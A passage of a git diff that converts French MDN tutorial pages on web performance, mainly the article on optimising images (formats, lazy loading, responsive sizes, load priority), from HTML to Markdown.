réseau](/fr/docs/Tools/Network_Monitor) de Firefox retourne des informations détaillées sur toutes les ressources téléchargées sur le réseau ainsi qu'un graphique montrant la durée de téléchargement de chaque ressource. -<p><img alt="" src="network-monitor.png"></p> + -<p>Vous pouvez aussi utiliser le <a href="/fr/docs/Tools/Performance">moniteur de performances</a> pour mesurer les performances de l'interface de votre application ou de votre site pendant que vous réalisez différentes actions. Cela permet d'identifier les fonctionnalités qui ralentissent le plus votre interface.</p> +Vous pouvez aussi utiliser le [moniteur de performances](/fr/docs/Tools/Performance) pour mesurer les performances de l'interface de votre application ou de votre site pendant que vous réalisez différentes actions. Cela permet d'identifier les fonctionnalités qui ralentissent le plus votre interface. -<p><img alt="" src="perf-monitor.png"></p> + -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>Cet article était destiné à proposer une vue d'ensemble rapide des indicateurs de performance web que vous pouvez mesurer sur un site ou une application web. Dans le prochain article, nous verrons comment travailler sur la performance perçue et nous découvrirons des techniques permettant de rendre les éléments les plus longs à charger un peu moins lents pour le visiteur, voire pour les masquer complètement.</p> +Cet article était destiné à proposer une vue d'ensemble rapide des indicateurs de performance web que vous pouvez mesurer sur un site ou une application web. Dans le prochain article, nous verrons comment travailler sur la performance perçue et nous découvrirons des techniques permettant de rendre les éléments les plus longs à charger un peu moins lents pour le visiteur, voire pour les masquer complètement. -<p>{{PreviousMenuNext("Learn/Performance/Perceived_performance", "Learn/Performance/Multimedia", "Learn/Performance")}}</p> +{{PreviousMenuNext("Learn/Performance/Perceived_performance", "Learn/Performance/Multimedia", "Learn/Performance")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Performance/why_web_performance">Le « pourquoi » des performances web</a></li> - <li><a href="/fr/docs/Learn/Performance/What_is_web_performance">Qu'est-ce que sont les performances web ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Perceived_performance">Comment les visiteurs perçoivent-ils les performances ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Measuring_performance">Mesurer les performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Multimedia">Multimédia : images</a></li> - <li><a href="/fr/docs/Learn/Performance/video">Multimédia : vidéos</a></li> - <li><a href="/fr/docs/Learn/Performance/JavaScript">Bonnes pratiques de performances pour JavaScript</a></li> - <li><a href="/fr/docs/Learn/Performance/HTML">Fonctionnalités de HTML liées aux performances</a></li> - <li><a href="/fr/docs/Learn/Performance/CSS">Fonctionnalités de CSS liées aux performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Fonts">Performances et polices d'écriture</a></li> - <li><a href="/fr/docs/Learn/Performance/Mobile">Performances sur mobile</a></li> - <li><a href="/fr/docs/Learn/Performance/business_case_for_performance">Placer le focus sur les performances</a></li> -</ul> +- [Le « pourquoi » des performances web](/fr/docs/Learn/Performance/why_web_performance) +- [Qu'est-ce que sont les performances web ?](/fr/docs/Learn/Performance/What_is_web_performance) +- [Comment les visiteurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) +- [Mesurer les performances](/fr/docs/Learn/Performance/Measuring_performance) +- [Multimédia : images](/fr/docs/Learn/Performance/Multimedia) +- [Multimédia : vidéos](/fr/docs/Learn/Performance/video) +- [Bonnes pratiques de performances pour JavaScript](/fr/docs/Learn/Performance/JavaScript) +- [Fonctionnalités de HTML liées aux performances](/fr/docs/Learn/Performance/HTML) +- [Fonctionnalités de CSS liées aux performances](/fr/docs/Learn/Performance/CSS) +- [Performances et polices d'écriture](/fr/docs/Learn/Performance/Fonts) +- [Performances sur mobile](/fr/docs/Learn/Performance/Mobile) +- [Placer le focus sur les performances](/fr/docs/Learn/Performance/business_case_for_performance) diff --git a/files/fr/learn/performance/multimedia/index.md b/files/fr/learn/performance/multimedia/index.md index 56b98c3888..e35a3c9543 100644 --- a/files/fr/learn/performance/multimedia/index.md +++ b/files/fr/learn/performance/multimedia/index.md @@ -3,142 +3,144 @@ title: 'Multimédia : Images' slug: Learn/Performance/Multimedia translation_of: Learn/Performance/Multimedia --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/Performance/measuring_performance", "Learn/Performance/video", "Learn/Performance")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Performance/measuring_performance", "Learn/Performance/video", "Learn/Performance")}} -<p>Les fichiers média, et plus précisément les images et les vidéos, représentent plus de 70 % des octets téléchargés sur un site web classique. En termes de performance lors du téléchargement des ressources d'une page, la suppression des fichiers média et la réduction de la taille des fichiers est la solution de facilité pour produire des sites performants. Cet article s'intéresse à l'optimisation des images et des vidéos dans le but d'améliorer les performances.</p> +Les fichiers média, et plus précisément les images et les vidéos, représentent plus de 70 % des octets téléchargés sur un site web classique. En termes de performance lors du téléchargement des ressources d'une page, la suppression des fichiers média et la réduction de la taille des fichiers est la solution de facilité pour produire des sites performants. Cet article s'intéresse à l'optimisation des images et des vidéos dans le but d'améliorer les performances. <table class="standard-table"> <tbody> <tr> <th scope="row">Pré-requis :</th> - <td>Bases de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base</a> installés et connaissances de base <a href="/fr/docs/Learn/Getting_started_with_the_web">des technologies web opérant côté client</a>.</td> + <td> + Bases de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base</a + > + installés et connaissances de base + <a href="/fr/docs/Learn/Getting_started_with_the_web" + >des technologies web opérant côté client</a + >. + </td> </tr> <tr> <th scope="row">Objectifs :</th> - <td>Connaître les différents formats d'images, apprendre leur impact sur les performances et savoir comment réduire l'impact des images sur le temps de chargement général d'une page web.</td> + <td> + Connaître les différents formats d'images, apprendre leur impact sur les + performances et savoir comment réduire l'impact des images sur le temps + de chargement général d'une page web. + </td> </tr> </tbody> </table> -<div class="note"> - <p><strong>Note :</strong> Cet article est une introduction à l'optimisation des éléments multimédia sur le web, couvrant les principes généraux et les techniques de base. Pour aller plus loin, consultez des ressources plus spécialisées, telles que <a href="https://images.guide">https://images.guide (en anglais)</a>.</p> -</div> +> **Note :** Cet article est une introduction à l'optimisation des éléments multimédia sur le web, couvrant les principes généraux et les techniques de base. Pour aller plus loin, consultez des ressources plus spécialisées, telles que [https://images.guide (en anglais)](https://images.guide). -<h2 id="why_optimize_your_multimedia">Pourquoi optimiser vos éléments multimédia ?</h2> +## Pourquoi optimiser vos éléments multimédia ? -<p>On considère que pour un site classique, en moyenne 51 % de la bande passante utilisée provient des images, et 25 % provient des vidéos (<a href="https://discuss.httparchive.org/t/state-of-the-web-top-image-optimization-strategies/1367">source</a>, en anglais). Il est donc raisonnable de dire qu'il est important de porter une attention particulière à l'optimisation du contenu multimédia.</p> +On considère que pour un site classique, en moyenne 51 % de la bande passante utilisée provient des images, et 25 % provient des vidéos ([source](https://discuss.httparchive.org/t/state-of-the-web-top-image-optimization-strategies/1367), en anglais). Il est donc raisonnable de dire qu'il est important de porter une attention particulière à l'optimisation du contenu multimédia. -<p>Il est aussi important de prendre en considération la consommation de données. De nombreuses personnes utilisent des forfaits de connexion internet limités voir même des connexions facturées à la donnée téléchargée, où chaque octet de données consommé est facturé. Et cela ne concerne pas que les pays émergents. En 2018, 24 % des habitants du Royaume-Uni utilisaient ce type de connexion internet (<a href="https://www.ofcom.org.uk/__data/assets/pdf_file/0021/113169/Technology-Tracker-H1-2018-data-tables.pdf">source</a>, en anglais).</p> +Il est aussi important de prendre en considération la consommation de données. De nombreuses personnes utilisent des forfaits de connexion internet limités voir même des connexions facturées à la donnée téléchargée, où chaque octet de données consommé est facturé. Et cela ne concerne pas que les pays émergents. En 2018, 24 % des habitants du Royaume-Uni utilisaient ce type de connexion internet ([source](https://www.ofcom.org.uk/__data/assets/pdf_file/0021/113169/Technology-Tracker-H1-2018-data-tables.pdf), en anglais). -<p>En outre, il est important de prendre en compte la mémoire utilisée, car de nombreux appareils mobiles ont une RAM limitée. N'oubliez pas que quand les images sont téléchargées, elles sont stockées dans la mémoire vive de l'appareil.</p> +En outre, il est important de prendre en compte la mémoire utilisée, car de nombreux appareils mobiles ont une RAM limitée. N'oubliez pas que quand les images sont téléchargées, elles sont stockées dans la mémoire vive de l'appareil. -<h2 id="optimizing_image_delivery">L'optimisation de la distribution des images</h2> +## L'optimisation de la distribution des images -<p>Bien qu'il s'agisse de l'élément consommant le plus de bande passante, l'impact du téléchargement des images sur la <a href="/fr/docs/Learn/Performance/Perceived_performance">performance perçue</a> et largement moins important que ce à quoi l'on pourrait s'attendre, principalement du fait que le contenu de la page est téléchargé immédiatement et que les personnes qui visitent le site voient les images s'afficher au fur et à mesure du chargement. Mais si l'on veut proposer la meilleure expérience possible, il reste important d'afficher le plus tôt possible des images complètement chargées.</p> +Bien qu'il s'agisse de l'élément consommant le plus de bande passante, l'impact du téléchargement des images sur la [performance perçue](/fr/docs/Learn/Performance/Perceived_performance) et largement moins important que ce à quoi l'on pourrait s'attendre, principalement du fait que le contenu de la page est téléchargé immédiatement et que les personnes qui visitent le site voient les images s'afficher au fur et à mesure du chargement. Mais si l'on veut proposer la meilleure expérience possible, il reste important d'afficher le plus tôt possible des images complètement chargées. -<h3 id="loading_strategy">Stratégie de chargement</h3> +### Stratégie de chargement -<p>Une des plus grandes améliorations utilisable sur la plupart des sites web est le <a href="/fr/docs/Web/Performance/Lazy_loading">chargement différé</a> des images se situant en dessous de la ligne de flottaison, plutôt que de toutes les téléchargées directement sans se soucier de l'emplacement où elles se trouvent par rapport à l'écran de la personne qui visite le site (elle pourrait même ne jamais faire défiler son écran jusqu'à certaines images situées plus bas dans la page !). Plusieurs bibliothèques JavaScript peuvent implémenter cela pour vous, par exemple <a href="https://github.com/aFarkas/lazysizes">lazysizes (en anglais)</a>, mais sachez que les navigateurs travaillent sur l'attribut <code>lazyload</code>, qui est actuellement en phase d'expérimentation.</p> +Une des plus grandes améliorations utilisable sur la plupart des sites web est le [chargement différé](/fr/docs/Web/Performance/Lazy_loading) des images se situant en dessous de la ligne de flottaison, plutôt que de toutes les téléchargées directement sans se soucier de l'emplacement où elles se trouvent par rapport à l'écran de la personne qui visite le site (elle pourrait même ne jamais faire défiler son écran jusqu'à certaines images situées plus bas dans la page !). Plusieurs bibliothèques JavaScript peuvent implémenter cela pour vous, par exemple [lazysizes (en anglais)](https://github.com/aFarkas/lazysizes), mais sachez que les navigateurs travaillent sur l'attribut `lazyload`, qui est actuellement en phase d'expérimentation. -<p>En plus de charger un sous-ensemble d'images, vous devriez ensuite vous attarder sur les formats d'images que vous utilisez :</p> +En plus de charger un sous-ensemble d'images, vous devriez ensuite vous attarder sur les formats d'images que vous utilisez : -<ul> - <li>Chargez-vous le format de fichier le plus optimal ?</li> - <li>Avez-vous bien compressé vos images ?</li> - <li>Chargez-vous des tailles d'images adaptées ?</li> -</ul> +- Chargez-vous le format de fichier le plus optimal ? +- Avez-vous bien compressé vos images ? +- Chargez-vous des tailles d'images adaptées ? -<h4 id="the_most_optimal_format">Le format le plus optimisé</h4> +#### Le format le plus optimisé -<p>Le format de fichier le plus optimisé dépend directement du type d'image à charger.</p> +Le format de fichier le plus optimisé dépend directement du type d'image à charger. -<div class="note"> - <p><strong>Note :</strong> Pour obtenir des informations plus générales sur les types d'images, consultez le <a href="/fr/docs/Web/Media/Formats/Image_types">guide des types d'images et de formats d'images</a>.</p> -</div> +> **Note :** Pour obtenir des informations plus générales sur les types d'images, consultez le [guide des types d'images et de formats d'images](/fr/docs/Web/Media/Formats/Image_types). -<p>Le format <a href="/fr/docs/Web/Media/Formats/Image_types#svg">SVG</a> est le plus approprié pour les images qui ne comprennent que quelques couleurs et qui n'ont pas la complexité d'une photographie. Cela nécessite la mise à disposition d'une source dans un format vectoriel. Si cette image n'est disponible qu'en format bitmap, alors le format <a href="/fr/docs/Web/Media/Formats/Image_types#png">PNG</a> sera la solution de repli idéale. De bons exemples d'images idéalement fournies en SVG sont les logos, les illustrations, les graphiques ou les icônes (veuillez noter qu'il vaut mieux utiliser des images au format SVG que des polices d'icônes !). Qu'il s'agisse de SVG ou de PNG, les deux formats prennent en charge la transparence.</p> +Le format [SVG](/fr/docs/Web/Media/Formats/Image_types#svg) est le plus approprié pour les images qui ne comprennent que quelques couleurs et qui n'ont pas la complexité d'une photographie. Cela nécessite la mise à disposition d'une source dans un format vectoriel. Si cette image n'est disponible qu'en format bitmap, alors le format [PNG](/fr/docs/Web/Media/Formats/Image_types#png) sera la solution de repli idéale. De bons exemples d'images idéalement fournies en SVG sont les logos, les illustrations, les graphiques ou les icônes (veuillez noter qu'il vaut mieux utiliser des images au format SVG que des polices d'icônes !). Qu'il s'agisse de SVG ou de PNG, les deux formats prennent en charge la transparence. -<p>Les images peuvent être enregistrées au format PNG à l'aide de trois différentes combinaison de traitements :</p> +Les images peuvent être enregistrées au format PNG à l'aide de trois différentes combinaison de traitements : -<ul> - <li>Couleurs 24 bits + 8 bits de transparence — propose une précision complète des couleurs et des niveaux de transparence progressifs, mais au détriment de la taille du fichier. WebP est probablement une meilleure solution (voir ci-après) ;</li> - <li>Couleurs 8 bits color + 8 bits de transparence — ne propose que 255 couleurs mais maintient des niveaux de transparence progressifs. La taille des fichiers n'est pas trop importante. Il s'agit du meilleur cas d'usage du format PNG ;</li> - <li>Couleurs 8 bits + 1 bit de transparence — ne propose que 255 couleurs et ne propose pas ou peu de transparence par pixels, ce qui rend les limites des zones transparentes visibles et peu esthétiques. La taille de fichier est réduite mais au prix d'importantes dégradations visuelles.</li> -</ul> +- Couleurs 24 bits + 8 bits de transparence — propose une précision complète des couleurs et des niveaux de transparence progressifs, mais au détriment de la taille du fichier. WebP est probablement une meilleure solution (voir ci-après) ; +- Couleurs 8 bits color + 8 bits de transparence — ne propose que 255 couleurs mais maintient des niveaux de transparence progressifs. La taille des fichiers n'est pas trop importante. Il s'agit du meilleur cas d'usage du format PNG ; +- Couleurs 8 bits + 1 bit de transparence — ne propose que 255 couleurs et ne propose pas ou peu de transparence par pixels, ce qui rend les limites des zones transparentes visibles et peu esthétiques. La taille de fichier est réduite mais au prix d'importantes dégradations visuelles. -<p><a href="https://jakearchibald.github.io/svgomg/">SVGOMG</a> est un bon outil pour optimiser les SVG en ligne. Pour les PNG il existe <a href="https://imageoptim.com/online">ImageOptim online</a> ou <a href="https://squoosh.app/">Squoosh</a>.</p> +[SVGOMG](https://jakearchibald.github.io/svgomg/) est un bon outil pour optimiser les SVG en ligne. Pour les PNG il existe [ImageOptim online](https://imageoptim.com/online) ou [Squoosh](https://squoosh.app/). -<p>Pour les motifs photographiques qui ne contiennent pas de transparence, il y a un grand nombre de formats disponibles. Si vous voulez jouer la sécurité, alors optez pour le format compressé <strong>JPEG progressif</strong>. Par rapport aux JPEG normaux, les JPEG progressifs s'affichent progressivement (d'où le nom) ce qui veut dire que le visiteur verra d'abord une version basse résolution, puis l'image gagnera en clarté au fur et à mesure que l'image se charge, au lieu de devoir attendre que l'image soit complètement chargée de haut en bas avant qu'elle ne puisse s'afficher. <strong>MozJPEG</strong> est un bon outil de compression. Il est utilisé par l'outil d'optimisation d'images en ligne <a href="https://squoosh.app/">Squoosh</a>. Les meilleurs résultats sont obtenus avec une optimisation à 75 %.</p> +Pour les motifs photographiques qui ne contiennent pas de transparence, il y a un grand nombre de formats disponibles. Si vous voulez jouer la sécurité, alors optez pour le format compressé **JPEG progressif**. Par rapport aux JPEG normaux, les JPEG progressifs s'affichent progressivement (d'où le nom) ce qui veut dire que le visiteur verra d'abord une version basse résolution, puis l'image gagnera en clarté au fur et à mesure que l'image se charge, au lieu de devoir attendre que l'image soit complètement chargée de haut en bas avant qu'elle ne puisse s'afficher. **MozJPEG** est un bon outil de compression. Il est utilisé par l'outil d'optimisation d'images en ligne [Squoosh](https://squoosh.app/). Les meilleurs résultats sont obtenus avec une optimisation à 75 %. -<p>D'autres formats proposent des compressions encore plus efficaces que le format JPEG, mais ils ne sont pas toujours compatibles avec tous les navigateurs.</p> +D'autres formats proposent des compressions encore plus efficaces que le format JPEG, mais ils ne sont pas toujours compatibles avec tous les navigateurs. -<ul> - <li><a href="/fr/docs/Web/Media/Formats/Image_types#webp">WebP</a> : un choix excellent pour les images, qu'elles soient fixes ou animées. WebP offre une meilleure compression que PNG ou JPEG et prend en charge les grandes profondeurs de couleurs, les animations, la transparence et de nombreuses autres fonctionnalités, à l'exception de l'affichage progressif. WebP est pris en charge par tous les navigateurs les plus utilisés à l'exception de Safari 14 sur macOS 14 sur ordinateur. - <div class="note"> - <p><strong>Note :</strong> en dépit de <a href="https://developer.apple.com/videos/play/wwdc2020/10663/?time=1174">la prise en charge annoncée de WebP sur Safari 14</a>, les images <code>.webp</code> ne s'affiche pas bien sur macOS sur ordinateur, alors qu'elles s'affichent bien sur iOS 14 sur mobile.</p> - </div> - </li> - <li><a href="/fr/docs/Web/Media/Formats/Image_types#avif">AVIF</a> : un bon choix pour les images fixes ou animées, du fait du haut niveau de performances et du fait qu'il est libre de droits. AVIF est encore plus efficient que WebP, mais il n'est pas aussi bien pris en charge : il est actuellement pris en charge sur Chrome, Opera et Firefox (à l'aide des <a href="/fr/docs/Mozilla/Firefox/Experimental_features#avif_av1_image_file_format_support">réglages de préférences</a>). <br />Vous pouvez utiliser cet <a href="https://avif-converter.online">outil en ligne pour convertir différents formats d'images en AVIF</a>.</li> - <li><strong>JPEG-XR</strong> : un format créé par Microsoft et disponible uniquement sur Internet Explorer en les versions de Edge basées sur EdgeHTML. Ce format ne prend pas en charge l'affichage progressif et le décodage de l'image n'est pas accélérée par matérielle du système et donc consommateur de ressources pour le <a href="/fr/docs/Glossary/Main_thread">fil d'exécution principal</a> du navigateur. Les JPEG progressifs situés au-dessus de la ligne de flottaison s'affichent progressivement (d'où leur nom), ce qui signifie que l'internaute voit d'abord une version en basse résolution, qui gagne progressivement en netteté au fur et à mesure que l'image se télécharge, au lieu d'avoir une image qui se charge en pleine résolution du haut vers le bas (ou directement en une seule fois).</li> - <li><strong>JPEG2000</strong> il était prévu qu'il succède au format JPEG mais n'est pris en charge que par Safari. Ce format ne prend pas non plus en charge l'affichage progressif.</li> -</ul> +- [WebP](/fr/docs/Web/Media/Formats/Image_types#webp) : un choix excellent pour les images, qu'elles soient fixes ou animées. WebP offre une meilleure compression que PNG ou JPEG et prend en charge les grandes profondeurs de couleurs, les animations, la transparence et de nombreuses autres fonctionnalités, à l'exception de l'affichage progressif. WebP est pris en charge par tous les navigateurs les plus utilisés à l'exception de Safari 14 sur macOS 14 sur ordinateur. -<p>Compte-tenu de la faible prise en charge de JPEG-XR et de JPEG2000 et en prenant en compte les coûts de décodage dans l'équation, le seul format pouvant concurrencer sérieusement JPEG est le format WebP. C'est la raison pour laquelle vous devriez envisager de l'utiliser, pour les navigateurs qui le supportent. Cela peut être fait en utilisant l'élément <code><picture></code> avec l'aide d'un élément <code><source></code> équipé d'un <a href="/fr/docs/Web/HTML/Element/picture#the_type_attribute">attribut <code>type</code></a>.</p> + > **Note :** en dépit de [la prise en charge annoncée de WebP sur Safari 14](https://developer.apple.com/videos/play/wwdc2020/10663/?time=1174), les images `.webp` ne s'affiche pas bien sur macOS sur ordinateur, alors qu'elles s'affichent bien sur iOS 14 sur mobile. -<p>Si tout cela vous semble un peu trop compliqué ou si vous pensez que cela vous demandera trop de travail, sachez qu'il existe des services en ligne que vous pouvez utiliser en tant que CDN d'images et qui vont servir automatiquement et à la volée le bon format d'image, en fonction du type d'appareil ou de navigateur demandant l'affichage de l'image. Les CDN d'images les plus importants sur le marché sont <a href="https://cloudinary.com/features/responsive_images">Cloudinary</a> et <a href="https://imageengine.io/">Image Engine</a>.</p> +- [AVIF](/fr/docs/Web/Media/Formats/Image_types#avif) : un bon choix pour les images fixes ou animées, du fait du haut niveau de performances et du fait qu'il est libre de droits. AVIF est encore plus efficient que WebP, mais il n'est pas aussi bien pris en charge : il est actuellement pris en charge sur Chrome, Opera et Firefox (à l'aide des [réglages de préférences](/fr/docs/Mozilla/Firefox/Experimental_features#avif_av1_image_file_format_support)). + Vous pouvez utiliser cet [outil en ligne pour convertir différents formats d'images en AVIF](https://avif-converter.online). +- **JPEG-XR** : un format créé par Microsoft et disponible uniquement sur Internet Explorer en les versions de Edge basées sur EdgeHTML. Ce format ne prend pas en charge l'affichage progressif et le décodage de l'image n'est pas accélérée par matérielle du système et donc consommateur de ressources pour le [fil d'exécution principal](/fr/docs/Glossary/Main_thread) du navigateur. Les JPEG progressifs situés au-dessus de la ligne de flottaison s'affichent progressivement (d'où leur nom), ce qui signifie que l'internaute voit d'abord une version en basse résolution, qui gagne progressivement en netteté au fur et à mesure que l'image se télécharge, au lieu d'avoir une image qui se charge en pleine résolution du haut vers le bas (ou directement en une seule fois). +- **JPEG2000** il était prévu qu'il succède au format JPEG mais n'est pris en charge que par Safari. Ce format ne prend pas non plus en charge l'affichage progressif. -<p>Pour finir, si vous avez besoin d'afficher des images animées sur votre page, sachez que Safari permet l'utilisation de fichiers vidéo à l'intérieur des éléments <code><img></code> et <code><picture></code>. Ces éléments vous permettent aussi d'utiliser des <strong>WebP animés</strong> pour tous les autres navigateurs modernes.</p> +Compte-tenu de la faible prise en charge de JPEG-XR et de JPEG2000 et en prenant en compte les coûts de décodage dans l'équation, le seul format pouvant concurrencer sérieusement JPEG est le format WebP. C'est la raison pour laquelle vous devriez envisager de l'utiliser, pour les navigateurs qui le supportent. Cela peut être fait en utilisant l'élément `<picture>` avec l'aide d'un élément `<source>` équipé d'un [attribut `type`](/fr/docs/Web/HTML/Element/picture#the_type_attribute). -<pre class="html"><picture> - <source type="video/mp4" src="giphy.mp4"> - <source type="image/webp" src="giphy.webp"> - <img src="giphy.gif"> -</picture></pre> +Si tout cela vous semble un peu trop compliqué ou si vous pensez que cela vous demandera trop de travail, sachez qu'il existe des services en ligne que vous pouvez utiliser en tant que CDN d'images et qui vont servir automatiquement et à la volée le bon format d'image, en fonction du type d'appareil ou de navigateur demandant l'affichage de l'image. Les CDN d'images les plus importants sur le marché sont [Cloudinary](https://cloudinary.com/features/responsive_images) et [Image Engine](https://imageengine.io/). -<h4 id="serving_the_optimal_size">Servir la taille optimale</h4> +Pour finir, si vous avez besoin d'afficher des images animées sur votre page, sachez que Safari permet l'utilisation de fichiers vidéo à l'intérieur des éléments `<img>` et `<picture>`. Ces éléments vous permettent aussi d'utiliser des **WebP animés** pour tous les autres navigateurs modernes. -<p>Dans le monde de la livraison d'images, l'approche « universelle » n'est pas celle qui donne les meilleurs résultats. En effet, pour les plus petits écrans, vous pourriez vouloir servir des images avec une résolution plus petite, et inversement pour les écrans les plus larges. En plus de cela, vous pourriez avoir envie de servir des images de haute résolution aux appareils qui ont un écran le plus de DPI (comme les écrans <i>Retina</i>). Ainsi, sauf si vous créez de nombreuses variations intermédiaires de vos images, vous allez aussi avoir besoin d'un moyen de servir le bon fichier pour le bon navigateur. Vous pouvez pour cela agrémenter vos éléments <code><picture></code> et <code><source></code> avec les attributs <code><a href="/fr/docs/Web/HTML/Element/Source#attr-media">media</a></code> et/ou <code><a href="/fr/docs/Web/HTML/Element/Source#attr-sizes">sizes</a></code>. Un <a href="https://www.smashingmagazine.com/2014/05/responsive-images-done-right-guide-picture-srcset/">article détaillé sur la combinaison de ces attributs peut être trouvé ici (en anglais)</a>.</p> +```html +<picture> + <source type="video/mp4" src="giphy.mp4"> + <source type="image/webp" src="giphy.webp"> + <img src="giphy.gif"> +</picture> +``` -<p>Deux effets intéressants sont à garder en tête concernant les écrans à haut niveau de DPI :</p> +#### Servir la taille optimale -<ul> - <li>avec les écrans à haut niveau de DPI, <a href="https://www.netvlies.nl/tips-updates/algemeen/design-interactie/retina-revolution/">l'œil humain reconnaîtra les artefacts de compression bien plus tard</a>, ce qui signifie que pour les images destinées à ces écrans, vous pouvez aller plus loin que d'habitude en termes de compression.</li> - <li><a href="https://observablehq.com/@eeeps/visual-acuity-and-device-pixel-ratio">seulement une toute petite proportion des gens sont capables de détecter les améliorations supérieures à 2× DPI</a>, ce qui signifie que vous n'avez pas besoin de servir des images d'une résolution supérieure à 2×.</li> -</ul> +Dans le monde de la livraison d'images, l'approche « universelle » n'est pas celle qui donne les meilleurs résultats. En effet, pour les plus petits écrans, vous pourriez vouloir servir des images avec une résolution plus petite, et inversement pour les écrans les plus larges. En plus de cela, vous pourriez avoir envie de servir des images de haute résolution aux appareils qui ont un écran le plus de DPI (comme les écrans _Retina_). Ainsi, sauf si vous créez de nombreuses variations intermédiaires de vos images, vous allez aussi avoir besoin d'un moyen de servir le bon fichier pour le bon navigateur. Vous pouvez pour cela agrémenter vos éléments `<picture>` et `<source>` avec les attributs [`media`](/fr/docs/Web/HTML/Element/Source#attr-media) et/ou [`sizes`](/fr/docs/Web/HTML/Element/Source#attr-sizes). Un [article détaillé sur la combinaison de ces attributs peut être trouvé ici (en anglais)](https://www.smashingmagazine.com/2014/05/responsive-images-done-right-guide-picture-srcset/). -<h4 id="controlling_the_priority_and_ordering_of_downloading_images">Contrôler la priorité (et l'ordre) de téléchargement des images</h4> +Deux effets intéressants sont à garder en tête concernant les écrans à haut niveau de DPI : -<p>Les images les plus importantes doivent être affichées le plus rapidement possible aux personnes visitant votre site, afin d'améliorer la performance qu'ils perçoivent de votre site.</p> +- avec les écrans à haut niveau de DPI, [l'œil humain reconnaîtra les artefacts de compression bien plus tard](https://www.netvlies.nl/tips-updates/algemeen/design-interactie/retina-revolution/), ce qui signifie que pour les images destinées à ces écrans, vous pouvez aller plus loin que d'habitude en termes de compression. +- [seulement une toute petite proportion des gens sont capables de détecter les améliorations supérieures à 2× DPI](https://observablehq.com/@eeeps/visual-acuity-and-device-pixel-ratio), ce qui signifie que vous n'avez pas besoin de servir des images d'une résolution supérieure à 2×. -<p>La première chose à vérifier est que vos images de contenu utilisent bien des éléments <code><img></code> ou <code><picture></code>, et que vos images d'arrière-plan sont bien définies à l'aide de la propriété CSS <code>background-image</code>. sachez que les images référencées avec les éléments <code><img></code> ou <code><picture></code> ont une priorité de chargement plus importante que les images d'arrière-plan.</p> +#### Contrôler la priorité (et l'ordre) de téléchargement des images -<p>Deuxièmement, avec l'adoption progressive des indices de priorité (API <i>Priority Hints</i>), vous pouvez aller plus loin dans le contrôle de la priorité en utilisant un attribut <code>importance</code> sur vos balises d'images. Un cas d'utilisation concret pour l'utilisation des indices de priorité sont les diaporamas d'images où on mettra une priorité plus haute sur la première image que sur les suivantes.</p> +Les images les plus importantes doivent être affichées le plus rapidement possible aux personnes visitant votre site, afin d'améliorer la performance qu'ils perçoivent de votre site. -<h3 id="rendering_strategy">Stratégie de rendu</h3> +La première chose à vérifier est que vos images de contenu utilisent bien des éléments `<img>` ou `<picture>`, et que vos images d'arrière-plan sont bien définies à l'aide de la propriété CSS `background-image`. sachez que les images référencées avec les éléments `<img>` ou `<picture>` ont une priorité de chargement plus importante que les images d'arrière-plan. -<p>Comme les images sont chargées de façon asynchrone et continuent à charger après la première peinture de la page, un <i>reflow</i> du contenu de la page peut survenir si leurs dimensions ne sont pas définies avant le chargement. C'est par exemple le cas lorsque le texte se fait repousser vers le bas au chargement des images. Pour cette raison, il est très important de mettre en place des attributs <code>width</code> et <code>height</code> pour que le navigateur puisse réserver de l'espace pour la mise en page des images.</p> +Deuxièmement, avec l'adoption progressive des indices de priorité (API _Priority Hints_), vous pouvez aller plus loin dans le contrôle de la priorité en utilisant un attribut `importance` sur vos balises d'images. Un cas d'utilisation concret pour l'utilisation des indices de priorité sont les diaporamas d'images où on mettra une priorité plus haute sur la première image que sur les suivantes. -<p>Pour les images d'arrière-plan, il est important de mettre en place une valeur pour la propriété <code>background-color</code> pour que le contenu éventuellement affiché par-dessus l'image soit lisible même avant que l'image ne soit chargée.</p> +### Stratégie de rendu -<h2 id="conclusion">Conclusion</h2> +Comme les images sont chargées de façon asynchrone et continuent à charger après la première peinture de la page, un _reflow_ du contenu de la page peut survenir si leurs dimensions ne sont pas définies avant le chargement. C'est par exemple le cas lorsque le texte se fait repousser vers le bas au chargement des images. Pour cette raison, il est très important de mettre en place des attributs `width` et `height` pour que le navigateur puisse réserver de l'espace pour la mise en page des images. -<p>Dans cette section nous avons vu l'optimisation des images. Vous avez maintenant une compréhension générale de la façon d'optimiser la bande passante de la moitié des sites web. Ce n'est qu'un des types d'optimisation consommant la bande passante des visiteurs et ralentissant le chargement des pages. Dans le prochain article, nous verrons l'optimisation du critère responsable de 20 % de la consommation de bande passante.</p> +Pour les images d'arrière-plan, il est important de mettre en place une valeur pour la propriété `background-color` pour que le contenu éventuellement affiché par-dessus l'image soit lisible même avant que l'image ne soit chargée. -<p>{{PreviousMenuNext("Learn/Performance/measuring_performance", "Learn/Performance/video", "Learn/Performance")}}</p> +## Conclusion -<h2 id="in_this_module">Dans ce module</h2> +Dans cette section nous avons vu l'optimisation des images. Vous avez maintenant une compréhension générale de la façon d'optimiser la bande passante de la moitié des sites web. Ce n'est qu'un des types d'optimisation consommant la bande passante des visiteurs et ralentissant le chargement des pages. Dans le prochain article, nous verrons l'optimisation du critère responsable de 20 % de la consommation de bande passante. -<ul> - <li><a href="/fr/docs/Learn/Performance/why_web_performance">Le « pourquoi » des performances web</a></li> - <li><a href="/fr/docs/Learn/Performance/What_is_web_performance">Qu'est-ce que sont les performances web ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Perceived_performance">Comment les visiteurs perçoivent-ils les performances ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Measuring_performance">Mesurer les performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Multimedia">Multimédia : images</a></li> - <li><a href="/fr/docs/Learn/Performance/video">Multimédia : vidéos</a></li> - <li><a href="/fr/docs/Learn/Performance/JavaScript">Bonnes pratiques de performances pour JavaScript</a></li> - <li><a 